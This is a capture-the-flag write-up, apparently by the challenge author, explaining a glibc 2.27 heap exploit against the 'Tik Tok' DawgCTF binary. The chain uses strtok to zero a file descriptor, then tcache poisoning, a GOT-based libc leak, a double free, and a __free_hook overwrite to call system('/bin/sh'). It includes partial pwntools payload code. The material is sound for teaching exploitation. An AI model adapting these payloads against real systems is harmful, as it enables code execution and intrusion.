Rating: 5.0

# Tik Tok
__Category__: Pwn
__Points__: 500

> Don't stop make it pop
> nc ctf.umbccd.io 4700
> Author: trashcanna
> Attachments: [tiktok] [libc.2.27.so] [songs.zip]

### I came to start the rukus
Like every parent has a favorite child, every author also has a favorite challenge.
Mine just so happened to be TiK ToK, which first came about in October 2019 when
pernicious (from RPISEC) and I were discussing interesting libc functions (as one does). I believe
I texted him something along the lines of `idea: strtok but kesha themed`. After that, the
challenge went through a multitide of iterations until it became what it is today.
Special thanks to pernicious for auditing all the challenges I wrote to check for
unintended solutions, spelling errors involving the word `borders`, and to just generally
make sure they didn't suck. I'd also like to thank the queen herself Ms. Kesha Rose
Sebert for the inspiration and for providing background music for this writeup.

### now the party don't start til I walk in
So for this challenge competitors were given a 64-bit executable called `tiktok`, a bunch
of song files in `songs.zip`, and a nice little `libc.2.27.so`. As the author, when
I was solving it I had the luxury of having source in front of me, so I won't go too far
into the reversing aspect (namely because I popped this baby in IDA once, said "looks
good to me", and never looked at it again). Now let's get this party started.

We can run checksec and see that we've got most of the standard protections in place.
No PIE though, which is nice. Full RELRO does mean that targeting the GOT isn't an

[*] '/home/statccato/DawgCTF/tiktok/tiktok'
Arch: amd64-64-little
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Upon first running the binary, we're greeted with a nice little welcome message and a
list of options from what I deemed the `TiK ToK Rock Bot`.

Welcome to my tik tok rock bot!
I really like Ke$ha, can you help me make a playlist?

So what would you like to do today?
1. Import a Song to the Playlist
2. Show Playlist
3. Play a song from the Playlist
4. Remove a song from the Playlist
5. Exit

Okay cool. Looks like we can import a song, show the playlist, play a song from the playlist,
and remove a song from the playlist. If this is screaming heap to you, you're on the right track.
Looking a little closer at how it all works under the hood, we can see that we've got a song struct
with some fairly normal members: a song_path, a file descriptor, an album, a song, and the contents.
We also get 50 of these bad boys to play around with, which will become important later. Other than
that we've got a song_count, which keeps track of the number of songs in the playlist. All of this is
stored in the .bss.

#define NUM_SONGS 50

struct song{
char song_path[24]; \\ 24 bytes
int fd; \\ 4 bytes with 4 bytes padding
char* album; \\ 8 bytes
char* song; \\ 8 bytes
char* contents; \\ 8 bytes
}; \\ 56 bytes

int song_count;
struct song songs[NUM_SONGS];

Okay so now that we know how things are being stored, let's take a closer look at exactly how we're able
to create this playlist (and how we can make it play the best song of all, `system("/bin/sh")`).

### get sleazy

Poking around the code a little more, we can see we're able to read in the song files found in songs.zip.
Only problem is, we don't have a whole lot of control on the songs we're importing. Calling import invites
us to view a call to `system("ls -R")` in the current directory. This is fine and dandy, except we can only
import a song with a path that is a valid file path, begins with a character between `A` and `Z`, and doesn't
contain `flag` or `..`. All of the songs are contained in album folders, with names like `Animal/animal.txt` and

songs[song_count].fd = open(songs[song_count].song_path, O_RDONLY);
if(songs[song_count].fd == -1 || songs[song_count].song_path[0] < 'A' || songs[song_count].song_path[0] > 'Z' ||
strstr(songs[song_count].song_path, "flag") || strstr(songs[song_count].song_path, "..")){
printf("Error: Bad filepath, exiting\n");

So directory traversal and a simple "open the flag, play the flag" is out. Cool. Let's look a little closer at what
the `import_song` function has to offer. Before we open the song and ensure it has a valid path, we read in the
song path and if the last character is a newline, we replace that newline with a null terminator.
From a functionality perspective, this makes sense, as attempting to open a file with the newline would fail.
It is interesting to note then that if we send a song path without a newline, we can get our little song path
to not have a null terminator and can fill the array.

int nread = read(0, songs[song_count].song_path, sizeof(songs[song_count].song_path));
if(nread <= 0){
printf("Error reading input, exiting\n");
if(songs[song_count].song_path[nread-1] == '\n'){
songs[song_count].song_path[nread-1] = '\x00';

After this, we attempt to open the file and set the file descriptor. So long as that succeeds, we're good
to go. Here's where things get interesting. After setting the file descriptor, we make two calls to strtok to get
the name of the album and song. These calls are `songs[song_count].album = strtok(songs[song_count].song_path, "/")` and
`songs[song_count].song = strtok(NULL, ".")`. The null here means we begin at the first character after the delimeter in the
previous call to strtok. It's also notable that strtok overwrites the delimeter with a null byte. So if we were to pass in a
path of `Cannibal/blow.txt`, the first call to strtok would give us an album of `Cannibal` and the second a song of `blow`. The path,
however, would look something like `Cannibal\x00blow\x00txt`. Knowing that, we can begin to talk about the first bug our
Ke$ha superfan left in this code.

Our file just has to return a valid file descriptor. It doesn't have to actually be a file, necessarily. Directories can
also be opened, so if we sent `Warrior/` it would work just fine. Coincidentally, `Warrior//` would also work just fine.
As would `Warrior///`. See where I'm going? We still run into a problem though, because this doesn't get you all that
much. Let's take a look back to our song struct and take a closer look at the members.

char song_path[24];
int fd;

Looks like our path butts right up against the file descriptor, like my best friend to my middle school crush when
We R Who We R came on at the eighth grade dance. So if we fill up a `song_path` with a valid directory, we can make
the file descriptor a continuation of the path (everyone say "thank you endianness"). What does this get us?
First, it gets us an aside on file descriptors.

The first three file descriptors (0, 1, and 2) correspond to stdin, stdout, and stderr. After this, file descriptors
are assigned incrementally, beginning at 3. So in our case, the first song you import will be given a file descriptor of
3, the second 4, and so on.

| fd | Corresponding File |
| 0 | stdin |
| 1 | stdout |
| 2 | stderr |
| 3 | first song file |

So if we can somehow get a song to have a file descriptor of 0, we'd be able to read in from stdin in our `play_song`
function. Knowing that we can make the file descriptor act as part of the non-null-terminated `song_path` and that strtok overwrites the delimeter
with a null byte, we can begin to formulate how to get our read from stdin. First, we can generate enough
songs such that the next song will have `.` as a file descriptor, otherwise known as 0x2e (less than our 50 song limit). We then import a song, passing in a directory
that is long enough to fill the buffer and have the file descriptor included in the non null terminated path.
Then when `songs[song_count].song = strtok(NULL, ".")` is called, strtok will find the first '.' (0x2e) in the
string (which in this case is actually the file descriptor), and replace it with a null byte. Now the song has an fd of 0,
which allows us to read from stdin in the play_song function.

So to recap, our exploit currently looks something like this:

def addsong(songname):

for i in range(3, ord('.')):
addsong("Animal" + "/" * (24 - len("Animal")))

### this place about to blow

Before we get into any more of the exploitation, this seems like a good time for a little heap
crash course. This won't be all-inclusive by any means, but should give some necessary background
before we procede.

The glibc allocator keeps track of free chunks in doubly linked lists which are organized by size, known
as bins.
One exception to this is tcache, which uses one singly linked list per size. The maximum tcache
size is 0x420, so if we make an allocation of a size less than 0x420 and free it, the freed chunk
will become the tcache head. Free chunks that do not fit in the tcache will go in the unsorted bin, one of the doubly linked lists, instead
of the tcache. Allocating a tcache size will use the head of the list, if it exists
(tcache is FIFO). In glibc 2.27, there are virtually zero security checks in place for tcache. From an exploitation
perspective, taking control of this list will let us get allocations wherever we want.

### let's make the most of the night like we're gonna die young

Or like the CTF is about to end. Okay so now we can set a song's file descriptor to zero, but what does that get us? Looking at the
`play_song` function we can see what actually gets read in when we play a song. When we
play a song, we call read on the file descriptor associated with that song, reading up until the first newline.
If we take a look at one of our song files, we see this is the length of the file. After this, we call malloc
on one more than said length, presumably to make room for the null terminator, and store this pointer as the song's `contents` field.
Then, we memset the song's contents to zero and read `file_len` bytes to the contents.
Because we can now read in from stdin, we can control the `file_len` variable and thus the call to malloc.
By passing in `-1\n` to our first call to read, we can call `malloc(0)` (as `file_len`+1 will overflow), memset zero bytes of the contents,
and read in as many bytes as we'd like into our song's contents.

if (!songs[choice].contents){
for(int i = 0; i < sizeof(length); i++){
read(songs[choice].fd, length+i, 1);
if(length[i] == '\n'){
length[i] = '\x00';
file_len = atoi(length);
songs[choice].contents = malloc(file_len + 1);
memset(songs[choice].contents, 0, file_len+1);
read(songs[choice].fd, songs[choice].contents, file_len);

Now we can get a heap overflow using the read within the play_song function. With this overflow, we'll want
to take control of the tcache linked list. To do this, we first need to make some allocations.
Lucky for us, Ke$ha conveniently has songs that are both tcache size and unsorted chunk
size (thanks queen). From here, we have to modify the exploit we made just a little bit, because we'll need songs that
are both tcache size and unsorted chunk size. All song files have the song length in the first line,
then the song contents, which is how they're read in. The song animal has a length of 0x3b2, which is
smaller than the maximum tcache size of 0x420. Dinosaur, conversely, has a length of 0x67c, larger than
the maximum tcache size and would (when freed) go in the unsorted bin. This means both of these are
good choices for files.

for i in range(3, ord('.') - 1):
addsong("Animal" + "/" * (24 - len("Animal")))

Also to note is that we aren't able to read a song multiple times, thanks to this line in play_song
`if (!songs[choice].contents){`. This means we can only read in from stdin once with this song, so
we'll have to make it count. Looking back at our song object, we can see that all the songs contain
a character array (the path), with two pointers into the array (album and song). With this overwrite,
we'll want to overwrite a tcache pointer to point somewhere in the songs array.
This creates a fake linked list in which we control where things are allocated on the
heap. In order to do this, however, we'll first have to setup the heap in a way that allows us to
muck with a tcache pointer. Now we can go back to our handy songs that we created earlier.
We can play song 43 (dinosaur, an unsorted bin size) then song 42 (animal, a tcache size).
Malloc will give us a layout of [0x690][0x3c0], because malloc rounds up (so our
0x67c allocation will have a chunk size of 0x690 (nice)).

Before going any further, we should probably take a look at exactly what happens when we remove a song. First we pass in an int to the function
equal to the song number (which is 1 more than the index into the song array). After ensuring this
choice is valid, we set the song, album, and path to null. We also free the song contents and
close the file descriptor. This is notable, because it means that if we were to free the song we
overwrote with the 0 file descriptor, we would close stdin. That'd be pretty lame of us so we'll
avoid that.

printf("Removing: %s from %s\n", songs[choice].song, songs[choice].album);
songs[choice].song = 0;
songs[choice].album = 0;
songs[choice].contents = 0;
memset(songs[choice].song_path, 0, sizeof(songs[choice].song_path));
songs[choice].fd = 0;

After allocating our two songs, we can remove them from the playlist thus freeing the chunks associated with them.
After this, our heap will look something like [0x690 unsorted][0x3c0 tcache]. After this, we're ready
to use our call to read on stdin and perform the overflow. By calling malloc on a size of zero, we're
returned a chunk of 0x20 in size from our first unsorted bin. This means the heap will look something
like [0x20 chunk][0x670 unsorted][0x3c0 tcache]. From here we can set the freed tcache chunk's next
pointer to somewhere in the second song (for our purposes, we will use`songs[1].album`, however the exact
location is slightly misaligned for the exploit). This gives us a fake linked list that looks something like:

[0x3c0 tcache] -> &songs[1].album

or in a picture:

songs[1] -->| song_path |
+------------------+ | fd |
|heap, 0x3c0 tcache| -->| album |
+------------------+ | song |
| contents |
In order to do this, we'll have to overflow the 0x20 chunk and the 0x670 unsorted chunk. This gives us an even 0x690 bytes (nice).
Now our exploit looks something like this:

def playsong(songnum):

def freesong(songnum):

def stdsong(songnum, len, data):

for i in range(3, ord('.') - 1):
addsong("Animal" + "/" * (24 - len("Animal")))


stdsong(44, -1, "A"*0x690 + p64(0x4040be))

After this, we can allocate another 0x3c0 chunk (which one doesn't matter too much), which pops the tcache
head, making the tcache head point `&songs[1].album`. We can once more malloc an 0x3c0 chunk, which returns
`&songs[1].album`. For this, we choose song 19 such that `songs[18].contents = &songs[1].album`.
After this, the fake chunk then gets memsetted. This song was chosen because it means that the file length works out exacty so that `songs[18].fd` will be zeroed out but
`songs[18].contents` will not. The read, therefore, is `read(0, &songs[1].album, 0x3b3)`. Now we have control of the
songs array and can create some fake song structs.

We can set up these fake structs to do a few things: leak a libc address,
cause a double free, and create a few songs with fd 0 for later use. The libc leak can be achieved by setting a song's
album or song to a GOT entry and viewing the playlist. For the double free, we can create a fake chunk of size 0x20, and
set the contents pointer of two songs to this fake chunk.
When we remove these songs (numbered 4 and 5), they will free their contents pointer, double free-ing our 0x20 fake chunk.
Note that when we remove a song the file descriptor is closed, so we have to set the file descriptor to a nonzero value (we don't want to close stdin, after all).

fake_chunk = '\x00'*0x1a + p64(0x21) + '\x00'*8 + p64(0) + p64(elf.got['system']) + p64(0) + p64(0) #the fake chunk
fake_pointer = '\x00' * 24 + p64(0xff) + p64(elf.got['system']) + p64(0) + p64(0x4040e0) #for the double free
fake_song = '\x00' * 24 + p64(0) + p64(elf.got['system']) + p64(0) + p64(0) #the fd 0 songs

proc.send(fake_chunk + fake_pointer * 2 + fake_song * 3)
proc.recvuntil("from ")
system_addr = proc.readuntil("\n\nSo", drop=True)
system_addr = u64(system_addr.ljust(8, '\x00'))
libc.address = system_addr - libc.symbols["system"]
print hex(libc.address)

### don't stop make it pop

By it, of course, we mean a shell. Remember we have setup some fake songs (numbered 6, 7, and 8) to read from stdin so we can malloc any size with any contents.
At this point, our tcache looks something like this:


We first make one 0x20 allocation, which gives us the looped tcache entry. Because of the loop, the tcache head
still points to this 0x20 chunk, so writing a fake next pointer here will give us control of the linked list. We set the next
pointer to `__free_hook`. Now tcache 0x20 looks something like this:

[heap] -> [__free_hook]

We can make another 0x20 allocation to consume the first entry. For this, we pick the string `"/bin/sh"`. After that allocation, the tcache
head becomes `__free_hook`. We can make another allocation to overwrite `__free_hook` with `system` and trigger the call by freeing a chunk.
(You can see the full exploit script over at `trashcanna-sol.py`)

stdsong(6, 8, p64(libc.symbols["__free_hook"]))
stdsong(7, 8, "/bin/sh")
stdsong(8, 8, p64(libc.symbols["system"]))


Now we've got a shell and can cat the flag, which is appropriately `DawgCTF{h0t_aNd_d@ng3r0us}`.

### you'll miss the magic of these good old days

Sad to say this was my last DawgCTF as a student at UMBC, but happy to say it was the biggest
and baddest we've ever had. Special thanks to RJ Joyce, Joe Aurelio, Cyrus Bonyadi, Seamus Burke,
Chris Gardner, Zack Orndorff, Jackie Schultz, Chris Skane, Drew Barrett, and everyone else who
made this event so special. Congrats to redpwn for the win and shoutout to Polaris, redpwn,
HTCPCP://, and meltdown for solving it during the competiton (RPISEC also got the solve shortly
after the competition ended, so kudos to them as well). I'll be writing challenges next year
as well, so if you thought this was it I direct you to a line from Praying: `the best is yet to come`.

Original writeup (https://github.com/toomanybananas/dawgctf-2020-writeups/blob/master/pwn/tiktok/WRITEUP.md).